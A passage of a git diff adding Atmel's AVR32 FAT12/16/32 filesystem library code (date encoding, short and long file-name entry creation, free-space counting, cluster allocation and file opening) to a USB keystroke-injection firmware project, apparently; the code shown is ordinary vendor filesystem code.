function changes the date information +//! +//! @param type_date choose date field (FS_DATE_LAST_WRITE or FS_DATE_CREATION) +//! @param sz_date table with date information
+//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @verbatim +//! OUT, update cache sector with the new date +//! @endverbatim +//! +void fat_set_date( const FS_STRING sz_date , Bool type_date ) +{ + PTR_CACHE ptr_entry; + + fat_cache_mark_sector_as_dirty(); + ptr_entry = fat_get_ptr_entry(); + + if( FS_DATE_LAST_WRITE == type_date ) + { + fat_translatedate_ascii_to_number( sz_date , &ptr_entry[22] , false ); + } + else + { + fat_translatedate_ascii_to_number( sz_date , &ptr_entry[13] , true ); + } +} + + +//! This function translates a date ascii string to date FAT value +//! +//! @param sz_date table with date information
+//! storage format (ASCII) = "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! @param ptr_date pointer on date in internal cache +//! @param enable_ms true, translate the millisecond field +//! +//! @verbatim +//! OUT, write the date field at ptr_date +//! @endverbatim +//! +void fat_translatedate_ascii_to_number( const FS_STRING sz_date , PTR_CACHE ptr_date , Bool enable_ms ) +{ + uint8_t u8_tmp; + uint8_t msb_date, lsb_date, msb_time, lsb_time; + + // Set the year + msb_date = ((uint8_t)(fat_translate_ascii_to_number( sz_date , 4 )-1980))<<1; + + // Set the month + u8_tmp = (uint8_t)fat_translate_ascii_to_number( &sz_date[4] , 2 ); + msb_date |= (u8_tmp >> 3); + lsb_date = (u8_tmp << 5); + + // Set the day + lsb_date |= (uint8_t)fat_translate_ascii_to_number( &sz_date[6] , 2 ); + + // Set the hour + msb_time = ((uint8_t)fat_translate_ascii_to_number( &sz_date[8] , 2 )) << (11-8); + + // Set the minute + u8_tmp = (uint8_t)fat_translate_ascii_to_number( &sz_date[10] , 2 ); + msb_time |= (u8_tmp >> 3); + lsb_time = (u8_tmp << 5); + + // Set the seconde + u8_tmp = (uint8_t)fat_translate_ascii_to_number( &sz_date[12] , 2 ); + lsb_time |= (u8_tmp >> 1); + + // Set the miliseconde + if( enable_ms ) + { + // check if the seconde time is %2 + if( u8_tmp & 0x01 ) + { // it isn't %2 + u8_tmp = 100; // add one seconde + } + else + { + u8_tmp = 0; // no more seconde + } + *ptr_date = u8_tmp + (uint8_t)fat_translate_ascii_to_number( &sz_date[14] , 2 ); + ptr_date++; + } + + // Record value + ptr_date[0] = lsb_time; + ptr_date[1] = msb_time; + ptr_date[2] = lsb_date; + ptr_date[3] = msb_date; +} + + +//! This function translates a ASCII number to a digital number +//! +//! @param sz_ascii_number ascii number (ex:"1907") +//! @param u8_size_number_ascii number of digit (ex:4) +//! +//! @return the digital number +//! +//! @verbatim +//! OUT, update sz_ascii_number +//! @endverbatim +//! +uint16_t fat_translate_ascii_to_number( const FS_STRING sz_ascii_number, uint8_t u8_size_number_ascii ) +{ + uint8_t sz_ascii_number_copy[4]; + uint8_t _MEM_TYPE_FAST_ *ptr_sz_ascii_number; + uint8_t u8_i; + uint16_t u16_number; + + for( u8_i=0; u8_i < u8_size_number_ascii; u8_i++ ) + { + sz_ascii_number_copy[u8_i] = sz_ascii_number[u8_i]; + } + + u16_number=0; + + while( 1 ) + { + // Check if it is the end of ascii number (= "0...0") + ptr_sz_ascii_number = sz_ascii_number_copy; + for( u8_i = u8_size_number_ascii; u8_i !=0; u8_i-- ) + { + if( '0' != *ptr_sz_ascii_number ) + { + break; + } + ptr_sz_ascii_number++; + } + if( 0 == u8_i) + return u16_number; + + // Decrement the number + ptr_sz_ascii_number = sz_ascii_number_copy + u8_size_number_ascii -1; + u16_number++; + ptr_sz_ascii_number[0]--; + while( ('0'-1) == ptr_sz_ascii_number[0] ) + { + *ptr_sz_ascii_number = '9'; + ptr_sz_ascii_number--; + ptr_sz_ascii_number[0]--; + } + } +} +#endif // FS_LEVEL_FEATURES + + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function creates the short and the long name of a new entry +//! +//! @param sz_name name to create (ASCII or UNICODE) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! IN: +//! b_unicode is a global flag to select UNICODE or ASCII +//! The name must be terminated by NULL and it can't have two dot characters. +//! @endverbatim +//! +Bool fat_create_entry_file_name( FS_STRING sz_name ) +{ + uint8_t u8_i, u8_nb; + uint8_t u8_crc, u8_nb_entry; + + // Compute the number of entry for this name + u8_nb_entry = fat_check_name( sz_name ); + if( 0 == u8_nb_entry ) + return false; + + // Search a unik short entry + u8_nb = fat_find_short_entry_name( sz_name ); + if( 0 == u8_nb ) + { + fs_g_status = FS_ERR_FILE_EXIST; + return false; // All short name exist + } + + // Alloc a space for entrys + if( !fat_alloc_entry_free( u8_nb_entry )) + return false; + // Remark: here the pointer of entry is on the last free entry of new space allocated + + // Add short name entry + u8_crc = fat_create_short_entry_name( sz_name , 0 , u8_nb, false ); + u8_nb_entry--; + + // For each long name entry + for( u8_i=1 ; u8_i<=u8_nb_entry ; u8_i++ ) + { + // Go to previous entry + fs_g_nav_fast.u16_entry_pos_sel_file--; + if( !fat_read_dir()) + return false; + // Write a long name entry + if( u8_i == u8_nb_entry ) + { + u8_i += FS_ENTRY_LFN_LAST; + } + fat_create_long_name_entry( sz_name , u8_crc , u8_i ); + sz_name += FS_SIZE_LFN_ENTRY*(Is_unicode? 2 : 1 ); + } + // Go back to the short name entry + fs_g_nav_fast.u16_entry_pos_sel_file += u8_nb_entry; + return true; +} + + +//! This function creates a long name entry +//! +//! @param sz_name name to create (ASCII or UNICODE) +//! @param u8_crc crc corresponding at short name +//! @param u8_id long entry number (1 to n + FS_ENTRY_LFN_LAST) +//! +//! @verbatim +//! OUT: Update the entry in internal cache sector with a new long name entry +//! @endverbatim +//! +void fat_create_long_name_entry( FS_STRING sz_name , uint8_t u8_crc , uint8_t u8_id ) +{ + PTR_CACHE ptr_entry; + Bool b_end_of_name = false; + + fat_cache_mark_sector_as_dirty(); + ptr_entry = fat_get_ptr_entry(); + *ptr_entry = u8_id; + ptr_entry++; // The long name start at offset 1 of the entry file + + for( u8_id=1; u8_id +//! false to write in internal cache +//! +//! @return short name CRC +//! +uint8_t fat_create_short_entry_name( FS_STRING sz_name , FS_STRING short_name , uint8_t nb , Bool mode ) +{ + PTR_CACHE ptr_entry = 0; + uint8_t u8_i, u8_step, character; + uint8_t crc; + uint8_t nb_digit; + + if( !mode ) + { + // Modify internal cache to create short name entry in the current entry + fat_cache_mark_sector_as_dirty(); + // Get pointer on current entry + ptr_entry = fat_get_ptr_entry(); + } + + // Compute the digit number + if( nb < 10 ) nb_digit = 1; + else if( nb < 100 ) nb_digit = 2; + else nb_digit = 3; + + crc = u8_i = 0; + u8_step = 1; + while( 1 ) + { + if( Is_unicode ) + { + character = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + character = sz_name[0]; + } + + if( 1 == u8_step ) + { // step 1 = translate the name + if( ((FS_SIZE_SFNAME_WITHOUT_EXT-(1+nb_digit)) == u8_i) // name field is full (-2 for "~1") + || ('.' == character) // is the end of name without extension + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step + continue; + } + } + if( 8 == u8_step ) + { // step 8 = translate the extension + if( (u8_i == FS_SIZE_SFNAME) // name field is full + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step + continue; + } + } + if( (1==u8_step) || (8==u8_step) ) + { // steps to translate name + character = fat_translate_char_shortname( character ); + sz_name += (Is_unicode? 2 : 1 ); + if( 0 == character ) + { + continue; // Bad character, ignore this one + } + } + if( 7 == u8_step ) + { // step 5 = find character '.' + if( ('.' == character) // is the end of name without extension + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step + } else { + sz_name += (Is_unicode? 2 : 1 ); + } + continue; // this step don't add a character in the short name + } + if( 6 == u8_step ) + { // step 4 = add padding + if( u8_i == FS_SIZE_SFNAME_WITHOUT_EXT ) // end of field name without extension + { + u8_step++; // go to next step + continue; + } + character = ' '; + } + if( 9 == u8_step ) + { // step 7 = add padding in extension name + if( u8_i == FS_SIZE_SFNAME ) // end of field name with extension + { + break; // end of loop while(1) + } + character = ' '; + } + if( 5 == u8_step ) + { // step 4 = add unit 1 of number + character = '0'+(nb%10); + u8_step++; // go to next step + } + if( 4 == u8_step ) + { // step 3 = add unit 10 of number + character = '0'+((nb%100)/10); + u8_step++; // go to next step + } + if( 3 == u8_step ) + { // step 2 = add unit 100 of number + character = '0'+(nb/100); + u8_step++; // go to next step + } + if( 2 == u8_step ) + { // step 2 = add character '~' + character = '~'; + u8_step+=(4-nb_digit); // go to next step + } + + if( mode ) + { + // Record the short name in buffer + *short_name = character; + short_name++; + }else{ + // Record the character in short entry file + *ptr_entry = character; + ptr_entry++; + } + u8_i++; + + // Compute the CRC of the short name + crc = (crc >> 1) + ((crc & 1) << 7); // rotate + crc += character; // add next char + } // End of loop while + return crc; +} + + +//! This function searchs an unique short name +//! +//! @param sz_name original name +//! +//! @return the number used to create the short name +//! @return 0 in case of error +//! +uint8_t fat_find_short_entry_name( FS_STRING sz_name ) +{ + char _MEM_TYPE_SLOW_ short_name[11]; + uint8_t u8_nb; + + u8_nb = 0; + while(1) + { + if( 0xFF == u8_nb ) + return 0; // All short name exist + + u8_nb++; // Try next short name + fat_create_short_entry_name( sz_name , short_name , u8_nb , true ); // Compute the short name + fs_g_nav_fast.u16_entry_pos_sel_file = 0; // Go to beginning of directory + // Scan directory to find a short entry + while(1) + { + if ( !fat_read_dir()) // Read directory + { + if( FS_ERR_OUT_LIST == fs_g_status ) + return u8_nb; // short name don't exist, then good number + return 0; // System or Disk Error + } + if( fat_entry_shortname_compare( short_name ) ) // Check entry + break; // Short name exist + if( FS_ERR_ENTRY_EMPTY == fs_g_status ) + return u8_nb; // Short name don't exist, then good number + fs_g_nav_fast.u16_entry_pos_sel_file++; // Go to next entry + } + } +} + + +//! This function compares a short name with the current entry +//! +//! @param short_name short name to compare (format entry = 8+3 Bytes) +//! +//! @return true it is the same +//! @return false in case of error, see global value "fs_g_status" for more detail +//! +Bool fat_entry_shortname_compare( FS_STRING short_name ) +{ + PTR_CACHE ptr_entry; + + ptr_entry = fat_get_ptr_entry(); + if( FS_ENTRY_END == *ptr_entry ) // end of directory + { + fs_g_status = FS_ERR_ENTRY_EMPTY; + return false; + } + if( (FS_ENTRY_DEL == *ptr_entry ) // deleted entry + || (FS_ATTR_LFN_ENTRY == ptr_entry[11]) ) // long file name + { + fs_g_status = FS_ERR_ENTRY_BAD; + return false; + } + fs_g_status = FS_ERR_ENTRY_BAD; // by default this entry is different then bad + return (0==memcmp_ram2ram(ptr_entry , short_name , 8+3 )); +} + +//! Characters table no supported in a file name +_CONST_TYPE_ uint8_t fs_s_tab_incorrect_char[]={':','*','?','"','<','>','|'}; + +//! This function checks the character in name AND computes the number of entry file to store the name +//! +//! @param sz_name original name to create +//! +//! @return number of entry file to strore the name (short + long name)
+//! if name incorrect then 0 is returned. +//! +uint8_t fat_check_name( FS_STRING sz_name ) +{ + uint8_t u8_nb_entry, u8_i, u8_j; + uint16_t u16_character; + + u8_nb_entry = 2; // a short entry + one long name entry minimum + u8_i = FS_SIZE_LFN_ENTRY; + while( 1 ) + { + if( Is_unicode ) + { + u16_character = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_character = sz_name[0]; + } + if( fat_check_eof_name( u16_character ) ) + break; + + for( u8_j = 0 ; u8_j < sizeof(fs_s_tab_incorrect_char) ; u8_j++ ) + { + if( u16_character == fs_s_tab_incorrect_char[u8_j] ) + { + fs_g_status = FS_ERR_INCORRECT_NAME; + return 0; // incorrect character + } + } + if( 0 == u8_i ) + { + u8_nb_entry++; + u8_i = FS_SIZE_LFN_ENTRY; + } + u8_i--; + sz_name += (Is_unicode? 2 : 1 ); + } + if( 0x14 < u8_nb_entry ) + { + fs_g_status = FS_ERR_NAME_TOO_LARGE; + return 0; // Name too large + } + return u8_nb_entry; +} + + +//! Characters table no supported in a short name +_CONST_TYPE_ uint8_t fs_s_execption_char[]={'+',',','.',';','=','[',']'}; + +//! This function translates the character to authorized short name character +//! +//! @param character character to translate +//! +//! @return character translated
+//! if no supported then 0 +//! +uint8_t fat_translate_char_shortname( uint8_t character ) +{ + uint8_t u8_j; + + if( (character<=' ') || ('~' +//! if 0, then error or full +//! +uint32_t fat_getfreespace( void ) +{ + uint32_t u32_nb_free_cluster = 0; + + // Read ALL FAT1 + fs_g_cluster.u32_pos = 2; + + if( Is_fat12 ) + { // FAT12 only + for( + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) + { + // Get the value of the cluster + if ( !fat_cluster_val( FS_CLUST_VAL_READ ) ) + return 0; + + if ( 0 == fs_g_cluster.u32_val ) + u32_nb_free_cluster++; + } + } + else + { + if( Is_fat32 ) + { + u32_nb_free_cluster = fat_read_fat32_FSInfo(); + if( 0xFFFFFFFF != u32_nb_free_cluster ) + goto endof_fat_getfreespace; + u32_nb_free_cluster = 0; + } + // Speed optimization only for FAT16 and FAT32 + // init first value used by fat_cluster_readnext() + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + for( + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) + { + if ( 0 == fs_g_cluster.u32_val ) + u32_nb_free_cluster++; + if( !fat_cluster_readnext() ) + return false; + } +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET) ) + if( Is_fat32 ) + { + // Save value for the future call + fat_write_fat32_FSInfo( u32_nb_free_cluster ); + } +#endif + } +endof_fat_getfreespace: + return (u32_nb_free_cluster * fs_g_nav.u8_BPB_SecPerClus); +} + + +//! This function returns the space free in percent +//! +//! @return percent of free space (1 to 100) +//! if 0, then error or full +//! +//! @verbatim +//! More speed than fat_getfreespace() routine but error delta 1% +//! @endverbatim +//! +uint8_t fat_getfreespace_percent( void ) +{ + uint32_t u32_nb_free_cluster = 0; + uint16_t u16_pos; + uint32_t u32_tmp; + + if( Is_fat12 ) + { // No speed optimization necessary on FAT12 + return (((fat_getfreespace()/fs_g_nav.u8_BPB_SecPerClus)*100) / fs_g_nav.u32_CountofCluster); + } + + + fs_g_cluster.u32_pos = 2; + // Init first value used by fat_cluster_readnext() + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + + // The optimization is to + // - read only the LSB byte of cluster + // - read only 1 cluster for 2 clusters + if( Is_fat32 ) + { + u32_nb_free_cluster = fat_read_fat32_FSInfo(); + if( 0xFFFFFFFF != u32_nb_free_cluster ) + goto endof_fat_getfreespace_percent; + u32_nb_free_cluster = 0; + + u16_pos = 2*4; + for( u32_tmp = fs_g_nav.u32_fat_size + ; u32_tmp!=0 + ; u32_tmp-- ) + { + for( ; u16_pos < 512 ; u16_pos += (2*4) ) + { + if( 0 == fs_g_sector[u16_pos] ) + u32_nb_free_cluster+=2; + } + // Read next sector in FAT + u16_pos = 0; + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return 0; + } + } + + if ( Is_fat16 ) + { + u16_pos = 2*2; + + for( u32_tmp = fs_g_nav.u32_fat_size + ; u32_tmp!=0 + ; u32_tmp-- ) + { + for( ; u16_pos < 512 ; u16_pos += (2*2) ) + { + if( 0 == fs_g_sector[u16_pos] ) + u32_nb_free_cluster+=2; + } + // Read next sector in FAT + u16_pos = 0; + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return 0; + } + } + + // Compute percent + if( u32_nb_free_cluster > fs_g_nav.u32_CountofCluster ) + return 100; + if( u32_nb_free_cluster > ((fs_g_nav.u32_CountofCluster-u32_nb_free_cluster)/256) ) + { + // Compute and add a delta error + u32_nb_free_cluster -= ((fs_g_nav.u32_CountofCluster-u32_nb_free_cluster)/256); + } +endof_fat_getfreespace_percent: + return ((u32_nb_free_cluster * 100) / fs_g_nav.u32_CountofCluster); +} + + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function allocs a cluster list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_seg.u32_addr Last cluster value of a cluster list to link with the new cluster list +//! If no cluster list to link then set MSB0(fs_g_seg.u32_addr) to 0xFF +//! fs_g_seg.u32_size_or_pos Maximum size of cluster list to alloc (unit sector) +//! OUT: +//! fs_g_seg.u32_addr Return the first cluster value of the new cluster list +//! fs_g_seg.u32_size_or_pos The number of sector remainning (no allocated sectors, because disk fragmented or disk full) +//! @endverbatim +//! +Bool fat_allocfreespace( void ) +{ + // Flag to signal the first step which search the first free cluster of the new list + Bool first_cluster_free_is_found = false; + // If true then use a quick procedure but don't scan all FAT else use a slow proceudre but scan all FAT + Bool b_quick_find = true; + + if( Is_fat32 ) + { + // Clear info about free space + if( !fat_write_fat32_FSInfo( 0xFFFFFFFF )) + return false; + } + + if( 0xFF == MSB0(fs_g_seg.u32_addr) ) + { +fat_allocfreespace_start: + // New cluster list, then research at the beginning of FAT + fs_g_cluster.u32_pos = 2; + }else{ + // Continue the cluster list then start after the end of the cluster list + fs_g_cluster.u32_pos = fs_g_seg.u32_addr+1; + } + + fat_clear_info_fat_mod(); + + // Read ALL FAT1 + for( + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) + { + // Get the value of the cluster + if ( !fat_cluster_val( FS_CLUST_VAL_READ ) ) + return false; + + if ( 0 == fs_g_cluster.u32_val ) + { + // A free cluster is found + fs_g_cluster.u32_val = fs_g_cluster.u32_pos; // value of the cluster is the new free cluster + if( true == first_cluster_free_is_found ) + { + // Link the new cluster with previous cluster + fs_g_cluster.u32_pos--; // select the previous cluster + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) + return false; + } + else + { + // It is the first cluster of the new list + first_cluster_free_is_found = true; + + if( 0xFF != MSB0(fs_g_seg.u32_addr) ) + { + // Link this new cluster with the current cluster list + // Select the last cluster of the current list + if( 0 == fs_g_seg.u32_addr ) + { // The current cluster list is the cluster list of root directory + if( FS_TYPE_FAT_32 != fs_g_nav_fast.u8_type_fat ) + { + // Impossible to increment ROOT DIR size of FAT12 or FAT16 + fs_g_status = FS_ERR_NO_FREE_SPACE; + return false; + } + fs_g_cluster.u32_pos = fs_g_nav.rootdir.u32_cluster; + } + else + { + fs_g_cluster.u32_pos = fs_g_seg.u32_addr; + } + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) + return false; + } // else no writing the first cluster value in FAT because no current cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // save the first cluster value + } + + // At the new cluster position, set the flag end of list + fs_g_cluster.u32_pos = fs_g_cluster.u32_val; // Select the new cluster + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; // Cluster value is the flag end of list + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) + return false; + + // Compute the remaining sectors + if ( fs_g_seg.u32_size_or_pos <= fs_g_nav.u8_BPB_SecPerClus ) + { + fs_g_seg.u32_size_or_pos = 0; // All space found + break; // Stop loop + } + fs_g_seg.u32_size_or_pos -= fs_g_nav.u8_BPB_SecPerClus; + } + else + { + // The next cluster is not free + if( true == first_cluster_free_is_found ) + { + // To have a segment memory continue, the cluster list must be continue + // then stop allocation + break; + } + else + { + // It is the first step to search the first free cluster + // then ignore this cluster no free and continue search + if( b_quick_find ) + { + fs_g_cluster.u32_pos += 500; + } + } + } + } + + // End of alloc + if( false == first_cluster_free_is_found ) + { + if( b_quick_find ) + { + // Retry in normal mode to scann all FAT (= no quick mode) + b_quick_find = false; + goto fat_allocfreespace_start; + } + fs_g_status = FS_ERR_NO_FREE_SPACE; // NO FREE CLUSTER FIND + return false; + } + + return fat_update_fat2(); +} +#endif // FS_LEVEL_FEATURES + + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! This function clears the cache information about FAT modifications +//! +void fat_clear_info_fat_mod( void ) +{ + fs_g_u32_first_mod_fat = 0xFFFFFFFF; + fs_g_u32_last_mod_fat = 0; +} +#endif // FS_LEVEL_FEATURES + + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! This function copys the modifications of the first FAT to the second FAT +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_update_fat2( void ) +{ + while( fs_g_u32_first_mod_fat <= fs_g_u32_last_mod_fat ) + { + // Compute the modification position of FAT 1 + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + fs_g_u32_first_mod_fat; + // Read FAT1 + if( !fat_cache_read_sector( true )) + return false; + // Compute the modification position of FAT 2 + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + (fs_g_u32_first_mod_fat + fs_g_nav.u32_fat_size); + // Init the sector FAT2 with the previous sector of the FAT1 + if( !fat_cache_read_sector( false )) + return false; + // Flag the sector FAT2 like modify + fat_cache_mark_sector_as_dirty(); + fs_g_u32_first_mod_fat++; + } + return true; +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function clears one cluster +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_seg.u32_addr Cluster value to clear +//! @endverbatim +//! +Bool fat_clear_cluster( void ) +{ + uint8_t u8_loop; + + // Compute the cluster sector address + fs_g_seg.u32_size_or_pos = 0; // Select the beginning of cluster + if( !fat_cluster_list( FS_CLUST_ACT_ONE, false )) + return false; + + // Loop in the cluster (start at the end of cluster) + fs_gu32_addrsector = fs_g_seg.u32_addr + (fs_g_nav.u8_BPB_SecPerClus -1); + for( u8_loop = 0 + ; fs_g_nav.u8_BPB_SecPerClus != u8_loop + ; u8_loop++ ) + { + // Update internal cache with cluster sector inforamtion but don't read data from memory + if( !fat_cache_read_sector( false )) + return false; + + if(0 == u8_loop) + { // Clean internal cache (just for the sector) + fat_cache_clear(); + } + fat_cache_mark_sector_as_dirty(); + fs_gu32_addrsector--; // go to previous sector + } + return true; +} +#endif // FS_LEVEL_FEATURES diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/file.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/file.c new file mode 100644 index 0000000..8048f39 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/file.c @@ -0,0 +1,765 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for the file accesses on + * AVR32 devices. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +//_____ I N C L U D E S ___________________________________________________ +#include "conf_explorer.h" +#include "file.h" +#include "navigation.h" +#include LIB_MEM +#include LIB_CTRLACCESS + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//! Use "FAT sector cache" to store a sector from a file (see file_putc(), file_getc(), file_read_buf(), file_write_buf()) +#if (defined __GNUC__) && (defined __AVR32__) +__attribute__((__aligned__(4))) +#elif (defined __ICCAVR32__) +#pragma data_alignment = 4 +#endif +extern _MEM_TYPE_SLOW_ uint8_t fs_g_sector[ FS_CACHE_SIZE ]; + +static void file_load_segment_value( Fs_file_segment _MEM_TYPE_SLOW_ *segment ); + + + +//! This function checks if a file is selected +//! +//! @return true, a file is selected +//! @return false, otherwise +//! +Bool file_ispresent( void ) +{ + if( !fat_check_mount_select() ) + return false; + return fat_check_is_file(); +} + + +//! This function opens the selected file +//! +//! @param fopen_mode option to open the file :
+//! FOPEN_MODE_R R access, flux pointer = 0, size not modify
+//! FOPEN_MODE_R_PLUS R/W access, flux pointer = 0, size not modify
+//! FOPEN_MODE_W W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_W_PLUS R/W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_APPEND W access, flux pointer = at the end, size not modify
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_open( uint8_t fopen_mode ) +{ + if( !fat_check_mount_select_noopen()) + return false; + + if( !fat_check_is_file()) + return false; + + if(FOPEN_WRITE_ACCESS & fopen_mode) + { + if( !fat_check_nav_access_file( true ) ) + return false; +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + if (FS_ATTR_READ_ONLY & fs_g_nav_entry.u8_attr) + { + fs_g_status = FS_ERR_READ_ONLY; // File is read only + return false; + } + if( mem_wr_protect( fs_g_nav.u8_lun )) + { + fs_g_status = FS_LUN_WP; // Disk read only + return false; + } +#else + fs_g_status = FS_ERR_MODE_NOAVIALABLE; + return false; +#endif // FS_LEVEL_FEATURES + } + else + { + if( !fat_check_nav_access_file( false ) ) + return false; + } + + if(FOPEN_CLEAR_SIZE & fopen_mode) + { + fs_g_nav_entry.u32_size = 0; // The size is null + } + if(FOPEN_CLEAR_PTR & fopen_mode) + { + fs_g_nav_entry.u32_pos_in_file = 0; + } + else + { // Go to at the end of file + fs_g_nav_entry.u32_pos_in_file = fs_g_nav_entry.u32_size; + } + fs_g_nav_entry.u8_open_mode = fopen_mode; + return true; +} + + +//! This function stores the global segment variable in other variable +//! +//! @param segment Pointer on the variable to fill +//! +static void file_load_segment_value( Fs_file_segment _MEM_TYPE_SLOW_ *segment ) +{ + segment->u8_lun = fs_g_nav.u8_lun; + segment->u32_addr = fs_g_seg.u32_addr; + segment->u16_size = fs_g_seg.u32_size_or_pos; +} + + +//! This function returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains maximum number of sector to read in file (0 = unlimited)
+//! ->u32_size_or_pos OUT, containt the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to read a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_read() for each fragments. +//! @endverbatim +//! +Bool file_read( Fs_file_segment _MEM_TYPE_SLOW_ *segment ) +{ + uint8_t u8_nb_sector_truncated; + + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_WRITE_ONLY; + return false; + } + + if ( file_eof() ) + { + // End of the file + fs_g_status = FS_ERR_EOF; + return false; + } + + if( !fat_read_file(FS_CLUST_ACT_SEG)) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + fs_g_status = FS_ERR_EOF; // translate the error + return false; + } + // If the segment is too large then truncate it + if( (segment->u16_size != 0) // if no limit then no truncate + && (segment->u16_size < fs_g_seg.u32_size_or_pos) ) + { + u8_nb_sector_truncated = fs_g_seg.u32_size_or_pos - segment->u16_size; + fs_g_seg.u32_size_or_pos = segment->u16_size ; + }else{ + u8_nb_sector_truncated = 0; + } + + // Update file position + fs_g_nav_entry.u32_pos_in_file += (uint32_t)fs_g_seg.u32_size_or_pos * FS_512B; + if( fs_g_nav_entry.u32_size < fs_g_nav_entry.u32_pos_in_file ) + { + // The segment is more larger then file + // case possible: if the file don't use all cluster space + // then compute sectors not used in last cluster of file cluster list + uint8_t u8_nb_sector_not_used; + + // Compute the number of sector used in last cluster + // remark: also the two first bytes of size is used, because the cluster size can't be more larger then 64KB + u8_nb_sector_not_used = LSB1( fs_g_nav_entry.u32_size ) >> (FS_512B_SHIFT_BIT-8); + if( 0 != (fs_g_nav_entry.u32_size & FS_512B_MASK) ) + { // last sector of file isn't full, but it must been read + u8_nb_sector_not_used++; + } + + // Compute the number of sector not used in last cluster + u8_nb_sector_not_used = fs_g_nav.u8_BPB_SecPerClus - (u8_nb_sector_not_used % fs_g_nav.u8_BPB_SecPerClus); + // if all space of cluster isn't used, then it is 